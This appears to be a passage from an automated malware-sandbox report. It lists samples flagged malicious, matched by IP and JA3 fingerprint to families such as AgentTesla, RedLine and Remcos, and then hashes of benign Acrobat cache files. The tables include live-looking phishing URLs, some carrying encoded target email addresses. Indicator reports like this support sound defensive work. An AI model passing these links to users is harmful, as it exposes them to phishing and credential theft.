	https://live.easygenerator.com/review/course/3850bd4a-58ae-47b2-bb6f-157e213d949f/	Get hash	malicious	Unknown	Browse	104.18.12.112
	https://webcompanion.com/nano_download.php?	Get hash	malicious	Unknown	Browse	104.19.208.152
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MTQxMDYyLCJtZXNzYWdlX2lkIjoiMGd5MHB6amd2a3hmeTlnN24wNzkzdzQ3IzIzYWUwMmFhLWVjMDQtNGYwMy1iODk3LWM4NjMyYzU3ZDIxMyIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1Njc3MDYyLCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtbWVzc2FuZ2VyLnJkb2NtZ2xvYmFsLmNvbS9kb2NzL2luZGV4LnBocD9tYWlsPSUyMHNlYW4uZnVlbGxoYXJ0QGJhbmthdGNpdHkuY29tJnBhdGhzPWFib3ZlJmxpbms9RmF4X091dGxvb2siLCJpbmRpdmlkdWFsX2lkIjoiNDBmMjcwMDVjM2U0ZWRkMzE4MTUyNDIxMWMwZmNiZDYifQ.HuxvS7w7UGVjl7M8LBH9yLcIGAIbx_lymrlb7oZbnQ4	Get hash	malicious	Captcha Phish	Browse	1.1.1.1
CLOUDFLARENETUS	phish_alert_sp2_2.0.0.0 - 2024-04-26T151509.287.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://messageis.ru/pre/profile/message	Get hash	malicious	HTMLPhisher	Browse	104.21.88.109
	MSG.docx	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://trailersalesandparts.ca	Get hash	malicious	Unknown	Browse	104.17.25.14
	MSG.docx	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://open.camscanner.com/doc/download_file?platform=web&type=118&sid=8c5645d2944c4b262e3b5813d266f0d5&title=ProjectUpdate-X	Get hash	malicious	HTMLPhisher	Browse	104.21.89.211
	https://doc-42.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://live.easygenerator.com/review/course/3850bd4a-58ae-47b2-bb6f-157e213d949f/	Get hash	malicious	Unknown	Browse	104.18.12.112
	https://webcompanion.com/nano_download.php?	Get hash	malicious	Unknown	Browse	104.19.208.152
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MTQxMDYyLCJtZXNzYWdlX2lkIjoiMGd5MHB6amd2a3hmeTlnN24wNzkzdzQ3IzIzYWUwMmFhLWVjMDQtNGYwMy1iODk3LWM4NjMyYzU3ZDIxMyIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1Njc3MDYyLCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtbWVzc2FuZ2VyLnJkb2NtZ2xvYmFsLmNvbS9kb2NzL2luZGV4LnBocD9tYWlsPSUyMHNlYW4uZnVlbGxoYXJ0QGJhbmthdGNpdHkuY29tJnBhdGhzPWFib3ZlJmxpbms9RmF4X091dGxvb2siLCJpbmRpdmlkdWFsX2lkIjoiNDBmMjcwMDVjM2U0ZWRkMzE4MTUyNDIxMWMwZmNiZDYifQ.HuxvS7w7UGVjl7M8LBH9yLcIGAIbx_lymrlb7oZbnQ4	Get hash	malicious	Captcha Phish	Browse	1.1.1.1
EDGECASTUS	https://herofargwsmnncmwsrcnmwsncmwscnm.popsy.site/	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MTQxMDYyLCJtZXNzYWdlX2lkIjoiMGd5MHB6amd2a3hmeTlnN24wNzkzdzQ3IzIzYWUwMmFhLWVjMDQtNGYwMy1iODk3LWM4NjMyYzU3ZDIxMyIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1Njc3MDYyLCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtbWVzc2FuZ2VyLnJkb2NtZ2xvYmFsLmNvbS9kb2NzL2luZGV4LnBocD9tYWlsPSUyMHNlYW4uZnVlbGxoYXJ0QGJhbmthdGNpdHkuY29tJnBhdGhzPWFib3ZlJmxpbms9RmF4X091dGxvb2siLCJpbmRpdmlkdWFsX2lkIjoiNDBmMjcwMDVjM2U0ZWRkMzE4MTUyNDIxMWMwZmNiZDYifQ.HuxvS7w7UGVjl7M8LBH9yLcIGAIbx_lymrlb7oZbnQ4	Get hash	malicious	Captcha Phish	Browse	93.184.215.14
	https://gjyefv.degaris.com/	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://www.flowcode.com/page/theferrucciolawfirm	Get hash	malicious	Unknown	Browse	152.199.4.44
	Housecallpro Chase Bank ACH.htm	Get hash	malicious	Unknown	Browse	152.199.4.44
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MTAxOTIyLCJtZXNzYWdlX2lkIjoiMGd4d3poYXc3czloeGZoZWNuNjNuYnFwIzg0YjRlN2VjLTdhZjUtNDU5Yi1hNTYxLWE1ZmVlMTE3NTllNiIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjM3OTIyLCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtbWVzc2FuZ2VyLnJkb2NtZ2xvYmFsLmNvbS9kb2NzL2luZGV4LnBocD9tYWlsPSUyMGphbWVzLmZheUBjb3VudHluYXRpb25hbGJhbmsuY29tJnBhdGhzPWFib3ZlJmxpbms9RmF4X091dGxvb2siLCJpbmRpdmlkdWFsX2lkIjoiNDA4YWI4OGRlY2JmNDFjMjRhYTZhMDRlOWU1OWMzZDAifQ.i-tkK1Lnys-MM487ot1MrSYQb6ExLgZNRQbgsH8B2K0	Get hash	malicious	Captcha Phish	Browse	93.184.215.14
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MTM3MzAwLCJtZXNzYWdlX2lkIjoiMGd5MGJnNjBqOTJwcmNuZjhhNHNxYWpwIzZjY2RmYjMyLWJiNzgtNGQwNC1hYWYwLTg3MjdkMTg4MjZlMyIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjczMzAwLCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtbWVzc2FuZ2VyLnJkb2NtZ2xvYmFsLmNvbS9kb2NzL2luZGV4LnBocD9tYWlsPSUyMGhiYXJ0aGxvd0BzZWN1cnVzdGVjaG5vbG9naWVzLmNvbSZwYXRocz1hYm92ZSZsaW5rPUZheF9PdXRsb29rIiwiaW5kaXZpZHVhbF9pZCI6IjQ0NDY4NzI5YzA1N2Q5ZDJjYzNiYjZlOTc3NDg3MzUyIn0.AryFGbNWOut6hGg1x_WBQ4QL5QU_wggDk6q2PUj7rNI	Get hash	malicious	Captcha Phish	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	Get hash	malicious	HTMLPhisher	Browse	152.195.19.97

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Lab5-1.docx	Get hash	malicious	Unknown	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	Purchase Order is approved26042024.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	https://messageis.ru/pre/profile/message	Get hash	malicious	HTMLPhisher	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	MSG.docx	Get hash	malicious	Unknown	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	http://trailersalesandparts.ca	Get hash	malicious	Unknown	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	https://open.camscanner.com/doc/download_file?platform=web&type=118&sid=8c5645d2944c4b262e3b5813d266f0d5&title=ProjectUpdate-X	Get hash	malicious	HTMLPhisher	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	https://doc-42.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	https://live.easygenerator.com/review/course/3850bd4a-58ae-47b2-bb6f-157e213d949f/	Get hash	malicious	Unknown	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	https://webcompanion.com/nano_download.php?	Get hash	malicious	Unknown	Browse	23.204.76.112 20.114.59.183 40.126.7.32
	Scanned from Xerox Multi.......rtf	Get hash	malicious	HTMLPhisher	Browse	23.204.76.112 20.114.59.183 40.126.7.32
6271f898ce5be7dd52b0fc260d0662b3	Purchase Order is approved26042024.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	23.219.0.175
	https://open.camscanner.com/doc/download_file?platform=web&type=118&sid=8c5645d2944c4b262e3b5813d266f0d5&title=ProjectUpdate-X	Get hash	malicious	HTMLPhisher	Browse	23.219.0.175
	323nndksdhndsf783.docx	Get hash	malicious	Unknown	Browse	23.219.0.175
	SecuriteInfo.com.MSExcel.CVE_2017_0199.DDOC.exploit.32374.20351.xlsx	Get hash	malicious	Unknown	Browse	23.219.0.175
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	23.219.0.175
	http://wsj.pm	Get hash	malicious	NetSupport RAT	Browse	23.219.0.175
	https://itniy4gbb.cc.rs6.net/tn.jsp?f=001DpCT81a7BIE926OduG6KmKkwKebSAbUZq28C52DoY-FfQJyM_2Gq3l18V1j7KWwJQTfGlQ_HSq0vC8xqJqFST9z0CwmpWgUieBjKckdJcSODJ_3vu5MzvaSoOGbGY9SjpWQtg9-aAXm1e6VV91z84Q2_wlyDMR98&c=i37ZFF5Dy2QSFqOfb2TVpr5vkMFqaR6DdoQbIhzcRV7G2oFwX8NEvA==&ch=2ErEiCYnoykaXa1uoD0AgTD1vOpSqc6zh3ef32Gb4XR_ut8_qvmzHA==&c=&ch=&__=/mrlZp0zmTKgGvsPpx0JUyCMjGZr4J6/Z2dvbnphbGV6c2FsYXNAc2FuaXRhcy5lcw==	Get hash	malicious	HTMLPhisher	Browse	23.219.0.175
	http://learningstudio.ai	Get hash	malicious	Unknown	Browse	23.219.0.175
	FW_ FHAS Inc_ - Private and Confidential.msg	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.219.0.175
	https://stake.libertariancounterpoint.com/+6N67YCBGYSfgUDfzZBWz4mBQM+X0RyGi80NjJ/FF4eJwViQ	Get hash	malicious	Unknown	Browse	23.219.0.175
3b5074b1b5d032e5620f69f9f700ff0e	https://open.camscanner.com/doc/download_file?platform=web&type=118&sid=8c5645d2944c4b262e3b5813d266f0d5&title=ProjectUpdate-X	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88
	rdekont_20240424_388993774837743.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	http://relevanteduofficelogin.relevantedu.xyz	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	13.107.5.88
	Packing List PDF.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.5.88
	file.exe	Get hash	malicious	Unknown	Browse	13.107.5.88
	Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.5.88
	JHqNlw9U8c.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	13.107.5.88
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	13.107.5.88
	PONO6188.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	13.107.5.88

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.206234265473186
Encrypted:	false
SSDEEP:	6:8sZ34q2PsHO2nKuAl9OmbnIFUt8HsSZmw+Hs+G7kwOsHO2nKuAl9OmbjLJ:8sZ34vkHVHAahFUt8HsS/+Hsx51HVHAR
MD5:	11E8386EC5031D37B6A1CB29C191A502
SHA1:	9AC65720F68E1AF689F56E8F14DC5C99873243F8
SHA-256:	3F6120593FAE73BE3CCC4E62EBB931CBF30F106671AD33CBF5AE0588E87BD708
SHA-512:	4EBBC678C90F19180213D9EC2D92C0F6813C330885ACEEA25F6C9040B608C7730C82F28277E2567B05E13DB3F27A1FE199A02315CA2068319911FB6604A52698
Malicious:	false
Reputation:	low
Preview:	2024/04/26-22:17:34.171 8c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/04/26-22:17:34.196 8c0 Recovering log #3.2024/04/26-22:17:34.197 8c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.206234265473186
Encrypted:	false
SSDEEP:	6:8sZ34q2PsHO2nKuAl9OmbnIFUt8HsSZmw+Hs+G7kwOsHO2nKuAl9OmbjLJ:8sZ34vkHVHAahFUt8HsS/+Hsx51HVHAR
MD5:	11E8386EC5031D37B6A1CB29C191A502
SHA1:	9AC65720F68E1AF689F56E8F14DC5C99873243F8
SHA-256:	3F6120593FAE73BE3CCC4E62EBB931CBF30F106671AD33CBF5AE0588E87BD708
SHA-512:	4EBBC678C90F19180213D9EC2D92C0F6813C330885ACEEA25F6C9040B608C7730C82F28277E2567B05E13DB3F27A1FE199A02315CA2068319911FB6604A52698
Malicious:	false
Reputation:	low
Preview:	2024/04/26-22:17:34.171 8c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/04/26-22:17:34.196 8c0 Recovering log #3.2024/04/26-22:17:34.197 8c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.173395826191188
Encrypted:	false
SSDEEP:	6:8smnYAq2PsHO2nKuAl9Ombzo2jMGIFUt8HsmLUcMXZmw+HsmLtkwOsHO2nKuAl97:8supvkHVHAa8uFUt8Hs9P/+HsM51HVHA
MD5:	E62573978D744F3A5D3D888D82B212B1
SHA1:	D801AA2FE282468DFCF83F1FDB2054A45B33333E
SHA-256:	19CCD437F6F641EF3E5FDF467DE094AF7FE9BDE48B3FF62CDF2BED1DCC5C3B11
SHA-512:	CA18F2EC22360DB04D246785D53E04DFE558CC04A53AE0D876C503C248FD7BFB7F28683CEC19D1DB60DA9DF035006ACE81431E91C351C51A1844BCB570F90F36
Malicious:	false
Reputation:	low
Preview:	2024/04/26-22:17:33.928 1610 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/04/26-22:17:33.931 1610 Recovering log #3.2024/04/26-22:17:33.932 1610 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.173395826191188
Encrypted:	false
SSDEEP:	6:8smnYAq2PsHO2nKuAl9Ombzo2jMGIFUt8HsmLUcMXZmw+HsmLtkwOsHO2nKuAl97:8supvkHVHAa8uFUt8Hs9P/+HsM51HVHA
MD5:	E62573978D744F3A5D3D888D82B212B1
SHA1:	D801AA2FE282468DFCF83F1FDB2054A45B33333E
SHA-256:	19CCD437F6F641EF3E5FDF467DE094AF7FE9BDE48B3FF62CDF2BED1DCC5C3B11
SHA-512:	CA18F2EC22360DB04D246785D53E04DFE558CC04A53AE0D876C503C248FD7BFB7F28683CEC19D1DB60DA9DF035006ACE81431E91C351C51A1844BCB570F90F36
Malicious:	false
Reputation:	low
Preview:	2024/04/26-22:17:33.928 1610 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/04/26-22:17:33.931 1610 Recovering log #3.2024/04/26-22:17:33.932 1610 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.975003106885027
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZQ6sBdOg2HfOgcaq3QYiubEP7E4T3y:Y2sRdsr/dMHfu3QYhbY7nby
MD5:	9AC354BEF4E744B201FE5A190880A56B
SHA1:	BB8700F3DB9C9BEB87D8985846A071922419EBA4
SHA-256:	B6680F7121CB6AD88523909A3A8EF3C4D06674D17B9709CD8C79EEC5B5AFF518
SHA-512:	B7A14697122E5DC739C7977720FB78FF52D2126D2096F1EC7B278A1456FAEC3A3EFC50094B2CE5930AD90269CEC6AE79EB6EFB63C937B023F135A519CDD90020
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13358722665054712","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131592},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.17","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\af91835e-fdc6-4238-b572-f41d693acf08.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.975003106885027
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZQ6sBdOg2HfOgcaq3QYiubEP7E4T3y:Y2sRdsr/dMHfu3QYhbY7nby
MD5:	9AC354BEF4E744B201FE5A190880A56B
SHA1:	BB8700F3DB9C9BEB87D8985846A071922419EBA4
SHA-256:	B6680F7121CB6AD88523909A3A8EF3C4D06674D17B9709CD8C79EEC5B5AFF518
SHA-512:	B7A14697122E5DC739C7977720FB78FF52D2126D2096F1EC7B278A1456FAEC3A3EFC50094B2CE5930AD90269CEC6AE79EB6EFB63C937B023F135A519CDD90020
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13358722665054712","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131592},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.17","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	6495
Entropy (8bit):	5.244982749819139
Encrypted:	false
SSDEEP:	192:TUi8h+F8Aj8DRCGwtqzmsLnNreR2ZpjRe4I8qr9jnNI92D3jC+3ETKEAE8I+LNZ:jX8eQ0
MD5:	4725D920CF89A72F91A2A646DCB9E225
SHA1:	8D63B858FF4EF83D1A063B3DB3DE18F1FA555F3D
SHA-256:	6CCB549D7E904E75F6D50EC02508132012D7396D8B58B3E70BEA36FB52056715
SHA-512:	471B4F55323F3D2BE255306A0321C129CCE17BE933184D8A0BC4DE3529BC2C20F7DE72DF92313985E3A8CF5866C39978A00479B986B89B7C4C2661650BC42503
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-....o................next-map-id.1.Pnamespace-42000ee3_e7f8_4e1a_acf9_c35e414a379e-https://rna-resource.acrobat.com/.0F...r................next-map-id.2.Snamespace-c3e8f6d4_f714_436a_92db_f0a4810aae6e-https://rna-v2-resource.acrobat.com/.1.p..r................next-map-id.3.Snamespace-d0743b68_de08_4f3c_b7bc_aca178ee7ff1-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-ce27b6a8_7896_4616_ab45_36a5ede234ad-https://rna-resource.acrobat.com/.3..).^...............Pnamespace-42000ee3_e7f8_4e1a_acf9_c35e414a379e-https://rna-resource.acrobat.com/...^...............Pnamespace-ce27b6a8_7896_4616_ab45_36a5ede234ad-https://rna-resource.acrobat.com/.{VUa...............Snamespace-c3e8f6d4_f714_436a_92db_f0a4810aae6e-https://rna-v2-resource.acrobat.com/....a...............Snamespace-d0743b68_de08_4f3c_b7bc_aca178ee7ff1-https://rna-v2-resource.acrobat.com/yATuo................next-map-id.5.Pnamespace-eb3aef6d_d129_430c_a353_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.178712479890164
Encrypted:	false
SSDEEP:	6:8s4q9q2PsHO2nKuAl9OmbzNMxIFUt8HsyU0Zmw+HsAjkwOsHO2nKuAl9OmbzNMFd:8sl9vkHVHAa8jFUt8HsU/+HsAj51HVHP
MD5:	E9FBDDA2ECB9968C160FD468CFB6F263
SHA1:	3F95682E1B6EFF97A6AA1ABBA8B24B85E2895146
SHA-256:	979C5CF76C106474FFA5F6D0E2D07008452A57762FDEC6223D5CE52853EC1C8D
SHA-512:	4187E745512330DA271BC0961B35EB4A48434E9FEC7389C6546E4B1B63E002AA535E8FF8C670450031B0FBD4C8A03A871BCCC67BA6508899DCA2D8C294318D9A
Malicious:	false
Reputation:	low
Preview:	2024/04/26-22:17:34.278 1610 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/04/26-22:17:34.283 1610 Recovering log #3.2024/04/26-22:17:34.285 1610 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.178712479890164
Encrypted:	false
SSDEEP:	6:8s4q9q2PsHO2nKuAl9OmbzNMxIFUt8HsyU0Zmw+HsAjkwOsHO2nKuAl9OmbzNMFd:8sl9vkHVHAa8jFUt8HsU/+HsAj51HVHP
MD5:	E9FBDDA2ECB9968C160FD468CFB6F263
SHA1:	3F95682E1B6EFF97A6AA1ABBA8B24B85E2895146
SHA-256:	979C5CF76C106474FFA5F6D0E2D07008452A57762FDEC6223D5CE52853EC1C8D
SHA-512:	4187E745512330DA271BC0961B35EB4A48434E9FEC7389C6546E4B1B63E002AA535E8FF8C670450031B0FBD4C8A03A871BCCC67BA6508899DCA2D8C294318D9A
Malicious:	false
Preview:	2024/04/26-22:17:34.278 1610 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/04/26-22:17:34.283 1610 Recovering log #3.2024/04/26-22:17:34.285 1610 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.360735418549687
Encrypted:	false
SSDEEP:	3:LrKlksltt1HcZUV/TzE8wJOdnn:ilksXtVnV98ynn
MD5:	D91F747E992AFD31DC336E49E6FA4925
SHA1:	71F45B4F6FB5183E927D3510202A9AB7607A25C9
SHA-256:	DB924F115FEB21B766B5A91C8137E0B7BCBAE4C91CB09AF79C4237254B9AD719
SHA-512:	4E152BF41B12CD0A577D14C2211453796011E6A8E450EA091FD09D3C30573D785912599E1361587436E63B4DEECC0425647D244ACB906218427345B00D41083A
Malicious:	false
Preview:	...N/................22_11\|360x240\|60.....k..9.bo...xB

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.199257004977441
Encrypted:	false
SSDEEP:	6:8sXUieBXs1sHO2nKuAl9OmbzfXkrl2KLlesXU6Aq2PsHO2nKuAl9OmbzfXkrK+Ig:8sEiehLHVHAa8/uLUsELvkHVHAa8/F3g
MD5:	C17977E4F76349978137575CF32585C8
SHA1:	886B9AEE5D83AD944C9446A6D40CF303626D3F6E
SHA-256:	29A22DA4490823B7F712EEE34985CC3900130D5A3756875608A66461354A421C
SHA-512:	51C0988DAFE487C8CD5ECA9838011256D538CE420E54B2B445506D7384038F172240AE46FE12B37E92393E5DE4D443DC9B5B5372FD2A567A681E8F8764CF26D7
Malicious:	false
